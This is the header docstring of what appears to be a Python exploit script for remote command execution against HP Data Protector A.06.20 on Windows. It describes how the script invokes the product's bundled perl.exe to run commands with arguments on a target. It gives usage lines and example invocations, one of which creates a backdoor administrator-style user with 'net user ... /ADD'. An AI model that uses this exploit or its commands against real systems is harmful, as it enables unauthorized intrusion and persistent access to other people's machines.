"""
HP Data Protector Arbitrary Remote Command Execution
This script allows to execute a command with an arbitrary number of
arguments. The trick calls 'perl.exe' interpreter installed with HP Data
Protector inside the directory {install_path}/bin/.
The main goal of the script is to bypass the limitation of executing only a
single command without any parameter, as provided by already existing
exploits. As shown below, it's possible to exploit the security issue in order
to run any command inside the target system.
Target OS:
Microsoft Windows
Tested Version:
HP Data Protector A.06.20
Usage:
exploit.py <target> <port> <command>
Example:
exploit.py 192.168.1.1 5555 'dir c:\'
exploit.py 192.168.1.1 5555 'ipconfig /all'
exploit.py 192.168.1.1 5555 'net user userbackdoor pwdbackdoor /ADD'
